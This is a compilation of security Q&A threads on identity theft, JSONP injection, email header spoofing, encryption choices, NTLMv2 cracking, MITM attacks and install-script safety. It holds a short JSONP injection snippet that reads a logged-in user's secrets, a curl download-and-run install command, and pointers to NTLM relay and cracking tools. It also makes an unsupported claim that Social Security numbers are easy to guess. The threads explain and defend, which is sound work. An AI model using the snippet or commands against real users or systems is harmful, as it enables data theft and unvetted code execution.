What bad things could an "attacker" do with my stolen ID's? So if someone steals my (ex.: I didn't teared up a piece of paper that had these and I throwed it away on the street) ID's like my:

Full name
Permanent address
Birth date/place
My mothers name
Identification card number
Telephone number

What bad could happen to my ID's?

I think the only piece of missing information needed to fill out the application for a Credit Card is your Social Security Number. Unfortunately Social Security Numbers are very easy to guess, although the attacker would have to know when you where born and what state you were born in, but this can be obtained from public records.


Is JSON Hijacking different than JSONP injection? I am quite confused while understanding these two vulnerabilities.
How are JSONP-related vulnerabilities different from JSON Hijacking?

Is JSON Hijacking different than JSONP injection?

Yes, they are different attacks. While JSON hijacking is a threat from the past that's now eliminated in all major browsers, JSONP injection remains a security threat to web applications. Both attacks have in common that their goal is to read a JSON response from an untrusted origin.

JSONP Injection

With JSONP (JSON with padding), an application deliberately provides a JSON response inside a function callback (or sometimes as an assignment), most often to overcome cross-origin boundaries.

E.g., the site https://example.com/mySecrets?callback=saveSecrets might return some "secrets" of the currently logged-in user, with the response looking like this:

saveSecrets({"userSecrets": [123, 456, 789]})

In this case, an attacker can define their own callback function (saveSecrets) and include the document as an external script to exfiltrate the secrets of the current user, along the lines of:

<script>
function saveSecrets(secrets) {
    alert(secrets);
}
</script>
<script src="https://example.com/mySecrets?callback=saveSecrets"></script>

(There are many other JSONP attack scenarios. You can find more of them with detailed explanations here.)

JSON Hijacking

JSON hijacking follows the same idea of exfiltrating a JSON response. But in this case, the application does not provide a convenient callback function. Instead, the attack relies on modifying native JS objects. Fortunately, this is not possible anymore in current browsers.

The text-book example is JSON inside an Array, e.g.:

[{"userSecrets": [123, 456, 789]}]

Years ago, when browsers allowed scripts to re-define native JS Objects, the way to extract the secrets was by defining your own Array constructor or hijacking the Object prototype with e.g. Object.__defineSetter__ and then referencing the URL as an external script, similar to the JSONP example above.

(You can read more about JSON hijacking in this blog post or my response here.)


Why should I include a client_id in an OAUTHv2 password grant request? Like little red riding hood, you don't know who is knocking on the door... Why even bother accepting a client_id in case of a API <-> Javascript-website or API <-> Android App password grant authentication flow?

From RFC 6749 (emphasis mine):

  A client MAY use the "client_id" request parameter to identify itself
     when sending requests to the token endpoint.  In the
     "authorization_code" "grant_type" request to the token endpoint, an
     unauthenticated client MUST send its "client_id" to prevent itself
     from inadvertently accepting a code intended for a client with a
     different "client_id".  This protects the client from substitution of
     the authentication code.  (It provides no additional security for the
     protected resource.)


Is it possible to fake 'received' field in the e-mail? I've received some strange e-mail recently. The e-mail has different From and Reply-To fields. It has also To set to Undisclosed recipients but it's not crucial.

At first I thought it's fake, but then I've read this post which mentions that Received field can't be faked. It seems that received is proper in case of the e-mail I'm talking about:

Received: (wp-smtpd mx.tlen.pl 14490 invoked from network); 2 Oct 2018 07:19:36 +0200
Received: from mx.beniculturali.it ([194.242.241.200])
          (envelope-sender <pm-pie.aglie@beniculturali.it>)
          by mx.tlen.pl (WP-SMTPD) with ECDHE-RSA-AES256-GCM-SHA384 encrypted SMTP
          for <myemail@10g.pl>; 2 Oct 2018 07:19:36 +0200
Received: from sea2.mail.beniculturali.it (localhost.localdomain [127.0.0.1])
    by localhost (Email Security Appliance) with SMTP id 15EE31ECEEA_BB2FFE8B;
    Tue,  2 Oct 2018 05:19:36 +0000 (GMT)
Received: from MB2.mail.beniculturali.it (mb2.mail.beniculturali.it [192.168.123.122])
    (using TLSv1.2 with cipher ECDHE-RSA-AES256-SHA384 (256/256 bits))
    (Client CN "email.beniculturali.it", Issuer "Actalis Authentication CA G3" (not verified))
    by sea2.mail.beniculturali.it (Sophos Email Appliance) with ESMTPS id 1C9BD1E9E28_BB2FFE7F;
    Tue,  2 Oct 2018 05:19:35 +0000 (GMT)
Received: from MB2.mail.beniculturali.it (192.168.123.122) by
 MB2.mail.beniculturali.it (192.168.123.122) with Microsoft SMTP Server (TLS)
 id 15.0.1395.4; Tue, 2 Oct 2018 07:19:30 +0200
Received: from ca4.mail.beniculturali.it (192.168.123.144) by
 MB2.mail.beniculturali.it (192.168.123.122) with Microsoft SMTP Server (TLS)
 id 15.0.1395.4 via Frontend Transport; Tue, 2 Oct 2018 07:19:29 +0200
Received: from MDC.mail.beniculturali.it ([192.168.123.171]) by
 ca4.mail.beniculturali.it ([192.168.123.144]) with mapi; Tue, 2 Oct 2018
 07:19:29 +0200

Is it possible to spoof Received field somehow, perhaps using advanced techniques?

It is possible to add arbitrary fields to the mail and this includes Received headers. But, any proper mail transport server will add a new Received header on top of the mail which means that, depending on the exact delivery infrastructure, the attacker can at most fully fake all but the topmost Received header. In your specific example, the top Received header seems to be some internal server and the next Received header is the one from your mail server at the perimeter which accepts mails from outside. All other Received headers might be faked.

And even the Received header added by the server at the perimeter might contain fake information. It is common that it includes the hostname claimed by the SMTP client within the EHLO or HELO command. Thus, in your specific example mx.beniculturali.it might be faked by the attacker while ([194.242.241.200]) is added by the receiving mail server to show from which source IP the mail was received and cannot be faked.


Is it possible to filter user input at browser side to prevent injection? I've been studying about common injection related problems. Is it possible to embed some filtering mechanism to prevent injection client side?
For example checking address bar URL for malicious added parameters, or checking user input forms on submission.
I am not questioning whether this measure is 100% effective or needed or not. I want to know if this is technically possible and feasible.

Yes it's possible to add something like this on the client side, but it would not be effective.  I wouldn't waste your time adding this type of protection to your client side.  Since it is on the client side, a malicious user can (and will) bypass it immediately using an HTTP Proxy or something similar.

I would recommend give the book, The Web Application Hacker's Handbook a read.  This goes into detail about how a malicious user will attack your site and points you to free tools that will allow you to attack a test site you control in the same manner that a hacker would.  Actually doing this will open your eyes to how web security really works.


Is double encrypting with AES safe? Is it safe to encrypt twice with AES, with any mode? Are any combinations of AES, e.g. AES with XTS and AES with CBC, or twice with AES and XTS, more unsafe than just having it encrypted once?

I know CBC isn't very safe in many applications, but the question is if the security somehow becomes degraded if combined in any manner.

In more realistic settings this could apply to having an encrypted root partition, and then running an encrypted virtual machine inside of that encrypted file system.

As a specific example, LUKS for Linux, standard settings. You encrypt it twice, once for your root file system, and once for your guest VM, another Linux system with LUKS.

Is the VM then less safe than it otherwise would have been if it was only encrypted once, i.e. with the host system not being encrypted?

Is it safe to encrypt twice with AES, with any mode?

As long as you don't mess anything up in the implementation, the security should be at least as good as the least secure encryption. An example of such a mis-implementation (suggested by the comment) would be if you accidentally encrypted twice with AES-CTR mode using the same key and same IV (this is a mis-implementation since the IV must never be repeated with the same key). Such a mis-implementation and repeated application would result in the "double encryption" just returning the plain text.

You might expect much more security (for example if you use two different keys), but this is not always the case due to attacks like the "meet-in-the-middle" attack.

For example, the encryption algorithm "2DES" is two applications of DES with different keys, but there is a meet-in-the-middle attack on 2DES. This is is why people used 3DES, but nobody used 2DES.


Ctf creation sandboxed question I have a tiny question, we are creating a ctf but we stumbled upoun a idea that we don't know how to solve.

As several websites that create ctf's as hack.me use sandboxes.

Due to the security and the ongoing flow in a ctf we also want to do this, however, we want to use an open source method to do so. But not having enough knowledge about this we want to ask you guys.

Is it possible to create a sandboxed environment on a dedicated server ? (we use root the box platform)

The reason that we want this is to make sure that others cannot abuse or disrupt others ctf. Thus creating a sandbox per team/user.

Can someone point me in the right direction?

Thank you very much!

I see absolutely no issue in allowing people from one CTF session to meddle into the CTF of another.  Since it is, in principle, a competition and that would be fair game.

Yet, if, for example, you want to make the CTF open to anyone and everyone (as in, to anyone on the internet) then maybe making sandboxes is actually a good idea.  Someone may use your system as a phishing ground (by, e.g. scripting an invasion into other user's session and presenting links), shich would not be nice.

Fortunately Linux has an built-in sandbox system.  You can simply use KVM and libvirt to give each session their own sandbox.  There is even a virt-sandbox, which is an effort to make the use of KVM/QEMU easy to use.

Of course, sandboxes/VMs have bugs.  And sometimes it is possible to cross over form a VM.  As with everything else, there is no guarantee of security (e.g. there may be zero day attacks on KVM out there, but so may be with all other virtualisation software).


Security: Multiple VPN users Let's assume there is a service provider that hosts some services behind a firewall. Two different companies connect to the network of the service provider via VPN. (To use the services that aren't accessible via internet) Each company has its own VPN tunnel. Can Company A read/redirect/mitm the traffic of company B?

I know that the tunnels themselves are secure. What happens if both connections terminate in the network of the service provider? Is there a security risk? What are the attack vectors or security risks?

Can Company A read/redirect/mitm the traffic of company B?

Not on a professional VPN service. Secure network configuration is a basic property of those services. So I believe that any reputable VPN service will configure their networks in a way that this attack is not possible.

  What happens if both connections terminate in the network of the service provider?

On a minimally well configured network? Nothing interesting happens. The VPN server will be configured with interface isolation, user isolation, guest isolation, or something like this, depending on the vendor. That means that any traffic coming from the guest can only be sent to the gateway, not to other addresses on the same network. And the gateway is configured to not route packets from the internal network to another address on the internal network.

  Is there a security risk? What are the attack vectors or security risks?

The main security risk is a misconfiguration somehow. But a reputable VPN provider will mostly sure have Change Management Process in place to take care of that.

So there's no risk? There's always a risk when you don't control all your infrastructure. But the risk is lower than it seems. Take into account that your own employees can mismanage things, allow external access to internal servers, leak credentials, so nothing is 100% secure.


How did Instagram know the content of my WhatsApp conversation and Google searches? My friend forwarded me some information about a business via WhatsApp (on mobile). I did some Google searching on that business on a desktop.

I've deactivated my Facebook account for almost a year already, so I do not have a Facebook account.

Almost immediately after I did the Google search on the business, my Instagram feed showed the said business as an advertisement.

I'm pretty sure that this is not a coincidence.

How did my Whatsapp/Google activities get leaked to Instagram?

I'm figuring that the foundational knowledge about this topic is slowly being lost to time, and there are new course modules in schools around the world to cover this type of thing, so I think it's appropriate to cover it here.

There is a separation between the content of a site and the advertisements shown on the site. Sites like Instagram (or newspapers, blogs, or any content providing site) show their own content, but then leave blank spaces to be used by advertising networks. Ad networks then fill these blank spots on the pages that you see, but the content provider (Instagram) may not ever see this information (nor do they care). Ads are not the content of the content provider.

So, what happened has nothing to do with what was in your WhatsApp conversation, but everything to do with the Google search you did.

You searched for the business using Google while you were logged into Google on your desktop and your phone. This created an entry in the Google ad networks that you are interested, right now, about this business. When you opened Instagram, the ad network knew what you were interested in, and showed you an ad based on your recent search.

So, nothing was leaked or shared. A blank field in a template was filled by the ad network based on your activity seen by the ad network. You could go to a variety of other content sites and see the same ad.

This is very relevant to the topic of "security" due to the growing public understanding of "information warfare". Ads can be used to target people's beliefs and ideologies and show specific ads to specific people and can make it look like that it is content from a trusted source (like a newspaper (yes, I am speaking idealistically that journalists can be trusted at a meta level, but let's not get sidetracked by a debate around that)). But the newspaper/blog did not create the content, and it is created, specifically, to engage the person on a specific issue to shift the person's thinking in a specific way that benefits the paying content provider.

So, it is important to understand and identify when content is from an outside 3rd party and how it gets into your feeds so that you can evaluate the trustworthiness and bias of the source.


2048 bit SSH RSA public key vs AWS KMS-encrypted text in source control I'm trying to work out how acceptable it is to commit KMS-encrypted API keys to source control. It is (I believe) often deemed acceptable to commit public keys to source control. So, to try to compare to this...

From an 2048 bit RSA SSH public key:

  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdvc0yfmzJrChkfji4n4kLFVaBBvs7Dkx9UnspvY2FU4m7dUh1x7e+EAVCsXpO59Q1pJ4uJRvQJSS2eXvt1fLoRFemvVbcxO97DkljzUAdLIdv5+8AAEr4wluIkKV5Pt3mnrqgyP0r9hmb8OGp2J1uejEZhJ5POlmqi2e40LYb0IU4ajm3ntrXIfm7gkSxWjJW4glA4/2wd7AgiuSEitrV2S1RQBagHkRWFGi8CbtduXQeXW/BVtru0lZykCPtpzl39UQmuwzc+qgkT8fXmXTpocUURwYrSuky49eRrfepzR4cio1s/D4HrRhZ/2/eM/q+SaPNoNas9QjHWeyWEk53 test@test.com

and an AWS KMS-encrypted string, that was 40 characters in plaintext:

  AQICAHh3zfBq68IrUAP7QND8usbFznzDgT4C9Y3RnCqLOHGEpQHVWukfLRjVSHSgQaPDi1TPAAAAhzCBhAYJKoZIhvcNAQcGoHcwdQIBADBwBgkqhkiG9w0BBwEwHgYJYIZIAWUDBAEuMBEEDOjRSAkJHX2LtJ4HbwIBEIBDDTeGCBzhm13tJYLkBK/5EEsBhwG2Q8IzrUMfbBbrmbjtmZSULlXLnACctUaMNg+OuZFpNAkxqdIbE621UcZ6MtEDNw==

which is harder: finding the private key from the public key, or decrypting the 40 character string? How long would each take, given, say, a single modern core?

How different would this be if the SSH key were 4096 bits?

which is harder: finding the private key from the public key, or decrypting the 40 character string? How different would this be if the SSH key were 4096 bits?

I believe you are asking the wrong question. Mandatory XKCD:

For all practical purposes, hacks are the result of hackers getting root access to the server or data due to weak passwords or unpatched software. It's almost never the case that the crypto gets broken.

The question you should be asking is: which method has more risk of revealing the data through  server compromise, insider threat, or some careless accident? ie Which of the following do you have higher trust in remaining secure?

a blob of data that can only be decrypted by AWS KMS, or
a private key file stored < where ever you've stored your private key >

AWS KMS is generally a good solution, unless your AWS account has many admins, or you're concerned about AWS employees having access, or the data being protected by that key has legal data-residency concerns, etc.


Should my company change the internal Root CA hash method from SHA-1 to SHA-2? My company have a Root Certificate Authority which is installed on a Windows Server 2003 and uses SHA-1 as hash method.

We will migrate to Windows Server 2012.

Checking the root certificates of my browser I see that almost all Root CAs are using SHA-1 or below.

My questions are:

1) Should I change from SHA-1 to SHA-2 on my internal Root CA or change the web site's certificate is enough?

2) Today, what is the impact of Root CAs using SHA-2 in browsers? Is there any browser yet that doesn't support SHA-1? Some of our customer still uses old versions of IE.

3) Will browsers stop trust Root CAs that use SHA-1?

Checking the root certificates of my browser I see that almost all
  Root CAs are using SHA-1 or below.

The signing algorithm used for the trusted root certificates is unimportant.  Signatures are used to establish trust.  By definition, a trusted root certificate is one which you implicitly trust based on provenance (e.g., where it came from and how it got into your trusted root store - by the OS/browser installer, by Group Policy, etc).  The signature of the trusted root certificate is never verified against the signer (and they're generally self signed, of course).  Rather, signatures are used to verify untrusted certificates that are handed to the browser on the fly by the not-yet-trusted server.

That being said...... it is probably worth using a SHA-2 signed cert for your internal CA because people look at certificate chains and assume SHA-1 bad, SHA-2 good.  If you go with SHA-2, you won't have to deal with people asking you this very question :)

  1) Should I change from SHA-1 to SHA-2 on my internal Root CA or
  change the web site's certificate is enough?

It is not necessary to change the root certificate to SHA-2, but it may help avoid questions from users and auditors.

I would not go through the trouble of re-issuing existing certs; I would create a new SHA-2 root and use it for all future certificate signings.  That way the SHA-1 version of the root will go away over the next few years as your existing certificates expire.

  2) Today, what is the impact of Root CAs using SHA-2 in browsers? Is
  there any browser yet that doesn't support SHA-1? Some of our customer
  still uses old versions of IE.

I assume you mean "browser [that doesn't yet] support SHA-2?"  Yes, there are still old versions of browsers out there that don't support SHA-2 (nifty compatibility table), but if your users are running those, they should be forced off them for general reasons, not because of your root CA.

  3) Will browsers stop trust Root CAs that use SHA-1?

I would not be surprised if that happens, years down the road, because of the "appearance of security" issue that I mention above.  But not quickly because, again, in technical terms, the browser doesn't use the signature on trusted root certificates.


Why does OpenVPN have reneg-sec on 3600? Basically, every hour OpenVPN renegotiates the TLS keys. What is the advantage of this, and what are the risks to reducing that to, for example, once per day?

Shorter key lifetime = less time for an attacker to a) capture known-plaintext packets and b) somehow crack the key. Also, a leaked key will only help an attacker gain access to your communication for 1h instead of a day.

So, damage control, essentially.


How feasible is it for an attacker to brute-force an NTLMv2 response captured off the network? According to the Wikipedia article on NTLM here:
https://en.wikipedia.org/wiki/NT_LAN_Manager

..under the NTLMv2 description it mentions that

  NTLMv2 sends two responses to an 8-byte server challenge

So basically according to the article the NTLMv2 response becomes this:

SC = 8-byte server challenge, random
CC = 8-byte client challenge, random
CC* = (X, time, CC2, domain name)
v2-Hash = HMAC-MD5(NT-Hash, user name, domain name)
LMv2 = HMAC-MD5(v2-Hash, SC, CC)
NTv2 = HMAC-MD5(v2-Hash, SC, CC*)
response = LMv2 | CC | NTv2 | CC*

I am trying to understand the security challenges of NTLMv2 and how challenging it would an attacker that captures the above NTLMv2 response via sniffing the network, to brute-force it to get to the password.

Since the hash includes the random server challenge (SC), it already makes it difficult. But let's suppose, the attacker has been sniffing and had already captured the SC when the server sent it to the client.

Attacker should also be able to see the client challenge (CC & CC*) from response as

  response = LMv2 | CC | NTv2 | CC*

right?..
so does this mean the attacker can have a fair go at brute-forcing the NTV2 or LMV2 hashes included in the response, given that the following information is with them now

SC (Server Challenge)
CC & CC*
response
user name, domain name (easily acquired by an attacker already in the network)

Is this the correct way to understand it?

Many thanks

It's not really about brute-forcing, dictionarying (is that a word?), or rainbow-tabling the NET-NTLMv2 creds, but more-so about comparing them to stored LM/NTLM hashes pulled from the flat-file SAM database or the in-memory LSASS process (which can usually be reversed to cleartext but in this case you actually want the hash for comparative purposes).

Worse (*), NET-NTLMv2 can be used for NTLM Relay attacks. One of the best ways to expedite use of NTLM Relay is with -- https://bluescreenofjeff.com/2016-02-19-smb-relay-with-snarfjs-making-the-most-of-your-mitm/

For combining methods of LM/NTLM credential conversion (along with, say, your NET-NTLMv2 captures) to their current-valid,  cleartext equivalents, check out the work from Praetorian (Gladius) and root9b (ntlmv2_capture_hashcheck.rb).

If you are trying to crack NET-NTLMv2 from just pcap files or similar (i.e., you're not on the network right now or don't have SAM/LSASS LM/NTLM material to compare it to using the Praetorian or root9b techniques), then you want to check out this blog post -- http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/ -- as the author explains which parts of the NET-NTLMv2 request and response need to be adjusted in order to fit cleanly into John the Ripper (or Hashcat) for cracking purposes.

(*) It actually gets much, much worse because NTLM Relay is only scratching the surface when you consider SMB Relay, Pass-the Hash, JASBUG, Potato, Tater, SmashedPotato, (if you can capture any network traffic), QuickCreds and PoisonTap (if you have the ability to get a USB device plugged into a local-station USB port), as well as crEAP and EAPeak (if you have access to WiFi).


SSL protocol analysis 1) What is the use of Cert B in this protocol?

2) What does it prove to Alice?

3) Is it okay if we remove Cert B in this protocol? Even without Cert B, isn't the fact that Bob used his private key to decrypt the Key AB  already proved his identity to Alice?

I sneakily edit a sneaky MITM attacker into your image:

The problem with this protocol is that Bob does not authenticate with Alice. That means a man-in-the-middle attacker who can manipulate the data-flow between Alice and Bob can intercept the initial connection attempt from Alice and respond with their own certificate.

Alice will then communicate securely with Eavesdropper, thinking she communicates with Bob.

Eavesdropper can then simultaneously build a secure connection with Bob while claiming to be Alice.

Now both Alice and Bob believe they are communicating with each other, while they are actually communicating with Eavesdropper. That means Eavesdropper can look at all their communication in cleartext and even manipulate it.

Solution

Either Alice needs to authenticate to Bob or Bob needs to authenticate to Alice. But how can they do that before a secure connection is established? Either by exchanging their certificates beforehand or by having their certificates signed by a trustworthy 3rd party (a certificate authority).


Man-in-the-middle attack in SSH when attacker copies the public key If an attacker is able to gain access to the public key on a host server, they can setup a different machine between the client and the server, and place the key there.

When clients connect via SSH, they'll be presented with the same fingerprint as the original machine and their commands could then be intercepted by the attacker.

How does SSH avoid this?

Edit: this is in reference to passoword-less communication with the server

The attack would not succeed, because the Man In The Middle (MITM) needs to have not only the public key of the server, but also the private key as well, in order for the client to be able to complete the handshake with the MITM's server.

This question (and answer) are very similar to:
Could a stolen certificate show as trusted?

Edit 6/4/2020:  Once the ssh tunnel is setup, the client can authenticate with the server.  One method of client authentication is 'public key authentication'.  This is where the client proves that it is in possession of a private key that corresponds with a public key that the server has on file for the client.  See comments below for more info.


Is it safe to ask users to curl a raw file from GitHub? I have a command line tool (ngi) I made, and currently the process of installation requires 2 steps.

First step is to clone the repo into usr/local/ngi.

Second step is to manually set the $PATH in ~/.bash_profile (or wherever they set their environment variables) so that they can run the tool from the command line.

What I'm considering instead is this (it will shorten the installation to just one step):

I plan to create an install file in the repo, which is just a script that does the two steps above for the user. They now will be able to just open their command line and download the install script via curl, which when run, will in turn install the command line tool:

curl https://raw.githubusercontent.com/joshbeam/angular_init/install >> install_ngi; ruby install_ngi

Basically the above command just downloads the raw content of the install file from GitHub into a new local file called install_ngi, and then runs it with Ruby. The install_ngi file itself then clones the GitHub repo and sets the environment variables.

My question is, what are some safety concerns regarding this method, and is there a safer way to implement this sort of installation?

Is it safe?
Not completely; just because you're fetching safe code now doesn't mean that link will always point to safe code, and many command-line tools don't verify certificates, which could lead to a MITM attack.

Is it safe enough?
Yeah, for most use cases, probably. The attack scenario is pretty rare, and an attacker who is positioned to pull it off can probably pull off something more serious.

What's a safer way to do it?
The best we can do is for all downloaded software to be cryptographically signed and for the signatures to be verified before installation. Most modern system package managers (think apt, yum, etc.) do this automatically, but you can do it yourself using gnupg.

Ideally you'd only sign a package if you've verified it and trust it. That doesn't mean you're right to trust it, but at least it makes you accountable for it. Of course, there's the problem of getting the signer's public key onto the user's computer in such a way that that transfer won't be tampered with... chicken, meet egg.


difference between OCSP, CRL and CDP What is the difference between OCSP, CRL and CDP? Are OCSP and CRL the same? Can we use a CRL without configuring OCSP?

The certificate revocation list (CRL) is a list of revoked certificates. It does not contain the certificate itself but mainly the serial number. It is signed directly or indirectly by the CA which issued these certificates. The CRL can be very big because it can contain lots of revocations. To check if a certificate is revoked the client must download the list (or have a recent copy) and then lookup the serial number of the current certificate in the list. If it is not found there it is not revoked.

The location of the CRL for a specific certificate (i.e. where to download) is specified in the certificate itself as CRL distribution point (CDP).

Because CRL's contain information for lots of certificates they are often large and thus not suitable for a fast revocation check. The Online Certificate Status Protocol (OCSP) instead checks only a specific certificate and asks the OCSP responder if this certificate was revoked or not. The OCSP responder quickly returns this specific information which is again directly or indirectly signed by the issuer of the certificate. For even faster revocation check the server can regularly retrieve a current OCSP response and send it to the client within the TLS handshake. With this "OCSP stapling" the client does not need to explicitly ask the OCSP responder for revocation information because the client has already these information.

  Can we use a CRL without configuring OCSP?

Yes.


BadUSB: Why are firmware writeable in the first place? Manufacturer's backdoor? How many of you have actually updated their mouse, keyboard or USB stick firmware? How many vendor actually propose updates for such devices?

However these devices firmware often offer a proprietary update feature.

Why is it so? What is the expected use of such feature? Is it some kind of debugging facility left by the manufacturer in the firmware code as "safe because nobody will find it", or in another words can this be seen a backdoor left by the manufacturer in consumers products?

To be precise I use the term "backdoor" as its root definition: I do not necessarily imply any malicious intent from the manufacturers, a backdoor being not necessarily malicious in its intent... even-though they are often heavily damageable when they are just caused by manufacturer's carelessness.

Everything is buggy.  Hardware, software, firmware, wetware.  Everything.

Most of the time those bugs fall within acceptable limits.  Whatever computer you're using, for example, probably has 5-20 BIOS updates, depending upon how old it is.  And for most people, they can be many updates behind without problems - because the bugs fixed by later versions either don't impact them or aren't catastrophic.

Sometimes bugs are more serious, and need to be fixed before something can be shipped / sold.  It would suck to manufacture a million USB thumbdrives, for example, then be forced to throw them out at a loss because of a bug that surfaced.  The manufacturer would be much better off if they were able to compensate for the bug (and firmware can often compensate for hardware problems, not just firmware problems).

So the general rule is to design systems that have a little update-ability, even if the normal lifecycle of the product isn't expected to require it.

Because everything is buggy.

WhiteWinterWolf asks this followup question in the comments:

  In the Black Hat presentation by Karsten Nohl and Jakob Lell, the
  solution presented as the most simple and effective one would be to
  lock the firmware down at the factory, blocking any firmware
  update. Following your answer, do you think that such possibility
  would therefore be not very realistic "in the real world"?

Now we're purely into speculation territory.  Here's my opinion:

Locking the firmware is a technical solution, but it's one that will only be embraced at the very low end (cheap, throwaway devices) and the very high end (security-focused marketing).  The vast middle will continue to ship writable devices because the business case edges out the security case.

Let me tell you how I got there:

Locking the firmware has positive (increased security) and negative (inability to update to correct issues as described above) impacts.

At the very low end - where you can buy an 8 GB thumb drive for $2 - the inability to update is less of a problem.  In all likelihood, the manufacturer is relatively generic, and won't mind the PR hit for having a buggy device that can't be updated.  And at that price, consumers are more likely to toss it in the trash and buy something else than they are to look for an update.

So the security benefit outweighs the business cost at the low end.  (Whether low end manufacturers can be convinced to take such a simple step is another question; by definition, they care less about the consumer, because they're not building brand loyalty).

At the other end of the spectrum, there are companies who market themselves as security-before-everything-else providers.  IronKey, for example, sells devices that wipe themselves if the wrong password is entered too many times, and which are baked in epoxy to prevent physical access.  For them to offer the trade-off of locked firmware (no updates, but less insecurity) is fine - that's their value proposition.  Their customers would rather throw expensive devices away than have security risks that could be avoided.

As for everyone between those two extremes...

Picture a presentation being given around a board room.  The presenter says, "We can improve our client's security, against a very unusual niche attack, by locking our hardware so that updates aren't possible.  There is a possibility this could cause high rates of product returns, negative publicity, and general damage to our brand.  We are here to decide whether to protect ourselves or a small, unknown subset of our customer base against an unknown potentiality."

They're going to vote to do the right thing for the company, not for the hypothetical individual customer.  And they're going to keep shipping things they can update.

Just my 2 cents (which is good enough to buy a 256 MB thumb drive these days).


Is a company website secure against sslstrip if it doesn't use ssl on homepage but ssl everywhere else? Most ecommerce websites use SSL/TLS when you want to log. But most have homepage using http only. Is it enough to have SSL/TLS on login page and logged page to prevent sslstrip ?

Checking correct usage of HTTPS is ultimately the sole responsibility of the user. The users need to look at at least 3 points when visiting a web-page:

Are they expecting HTTPS to be used (at least for this part of the site)?
If so, is the certificate valid (lock/green/blue bar, without warning)?
If so, is the host name in the address bar that of the site they intend to visit?

Answering yes to these 3 questions is required for HTTPS to be used correctly.

Not enabling HTTPS on the initial page isn't necessarily the end of the world. This page may be vulnerable to SSLStrip attacks, but what's on that page may not need to be transferred securely.

If there is a link to a "secure section", the user should check that it sends them to the site they expect (see 3 points above). That's the user's responsibility.
The secure section of the website shouldn't assume that what was done before entering the secure section (e.g. adding items to a basket) was done securely (the user should always confirm). The login landing page itself (if any) should also be served over HTTPS (so that the user can expect the login form to be sent to HTTPS too, see this OWASP rule). In addition, different session management should be used, and the non-secure session should be discarded, so as not to allow session theft. That's the web developer's responsibility.

Most websites may have a plain HTTP welcome page, if only to perform a redirection to HTTPS or send the first HSTS header. This may indeed be vulnerable to SSLStrip at this stage, but there needs to be a starting point if the user doesn't know what to expect (and most will use plain http:// URLs first). Automatic redirections can (only) mitigate the risk. The only way around this is either for the user to know that only https:// URI will work or for the site to be part of the pre-loaded HSTS list.

(No website is secure against SSLStrip if the user or the browser doesn't expect HTTPS to be used. This expectation can be activated automatically in the browser via HSTS, either via a first visit from a network where the attack hasn't taken place, or via the pre-loaded list.)


Compute the AES-encryption key given the plaintext and its ciphertext? I'm tasked with creating database tables in Oracle which contain encrypted
strings (i.e., the columns are RAW). The strings are encrypted by the application
(using AES, 128-bit key) and stored in Oracle, then later retrieved from Oracle
and decrypted (i.e., Oracle itself never sees the unencrypted strings).

I've come across this one column that will be one of two strings.
I'm worried that someone will notice and presumably figure out what
those two values to figure out the AES key.

For example, if someone sees that the column is either Ciphertext #1 or #2:

Ciphertext #1:

BF,4F,8B,FE, 60,D8,33,56, 1B,F2,35,72, 49,20,DE,C6.

Ciphertext #2:

BC,E8,54,BD, F4,B3,36,3B, DD,70,76,45, 29,28,50,07.

and knows the corresponding Plaintexts:

Plaintext #1 ("Detroit"):

44,00,65,00, 74,00,72,00, 6F,00,69,00, 74,00,00,00.

Plaintext #2 ("Chicago"):

43,00,68,00, 69,00,63,00, 61,00,67,00, 6F,00,00,00.

can he deduce that the encryption key is "Buffalo"?

42,00,75,00, 66,00,66,00, 61,00,6C,00, 6F,00,00,00.

I'm thinking that there should be only one 128-bit key
that could convert Plaintext #1 to Ciphertext #1.
Does this mean I should go to a 192-bit or 256-bit key
instead, or find some other solution?

(As an aside, here are two other ciphertexts for the same plaintexts but with a different key.)

Ciphertext #1 A ("Detroit"):

E4,28,29,E3, 6E,C2,64,FA, A1,F4,F4,96, FC,18,4A,C5.

Ciphertext #2 A ("Chicago"):

 EA,87,30,F0, AC,44,5D,ED, FD,EB,A8,79, 83,59,53,B7.

[Related question: When using AES and CBC, can the IV be a hash of the plaintext?]

I am adding an answer as a community wiki because I believe that the accepted answer is dangerously misleading. Here's my reasoning:

The question is asking about being able to derive the AES keys. In that regard the accepted answer is correct: that is called a Known-plaintext Attack, and AES is resistant to that kind of attack. So an attacker will not be able to leverage this to derive the key and make off with the whole database.

But there is another, potentially dangerous attack at play here: a Ciphertext Indistinguishablity Attack. From Wikipedia:

  Ciphertext indistinguishability is a property of many encryption schemes. Intuitively, if a cryptosystem possesses the property of indistinguishability, then an adversary will be unable to distinguish pairs of ciphertexts based on the message they encrypt.

The OP showed us that this column holds one of two possible values, and since the encryption is deterministic (ie does not use a random IV), and attacker can see which rows have the same value as each other. All the attacker has to do is figure out the plaintext for that column for a single row, and they've cracked the encryption on the entire column. Bad news if you want that data to stay private - which I'm assuming is why you encrypted it in the first place.

Mitigation:
To protect against this, make your encryption non-deterministic (or at least appear non-deterministic to the attacker) so that repeated encryptions of the same plaintext yields different cipher texts. You can for example do this by using AES in Cipher Block Chaining (CBC) mode with a random Initialization Vector (IV). Use a secure random number generator to generate a new IV for each row and store the IV in the table. This way, without the key, the attacker can not tell which rows have matching plaintext.


OpenVPN's new tls-crypt option I've been reading about the new tls-crypt options for OpenVPN 2.4, but I'm not sure if I correctly understand it.

I've read the manual pages and the security overview for OpenVPN (which seems to be missing the tls-crypt option) and that's how I understood it.

In TLS mode with the use of tls-crypt, the connection between the two peers is established, encrypted and authenticated with the use of the key file defined with the tls-crypt option. Then the certificates are used to authenticate the peers, if successful the HMAC and encrypt/decrypt keys are generated and exchanged over the established TLS connection. All of this is still happening over the connection encrypted/authenticated with the tls-crypt key file.

And the additional privacy and protection against identification of the OpenVPN tunnel is achieved because the control channel's TLS connection is encrypted by the static tls-crypt key.

Is my understanding about the tls-crypt option correct?

The tl;dr reply is: Yes, your understanding is correct.

In TLS mode, OpenVPN establishes a TLS session to perform a key exchange over that TLS session to obtain the keys used to encrypt/authenticate the tunnel payload data. This is a normal TLS session, just as if you'd open a HTTPS website in your browser, except that it won't just perform server authentication but also client authentication and thus the client will require a cert with private key, too.

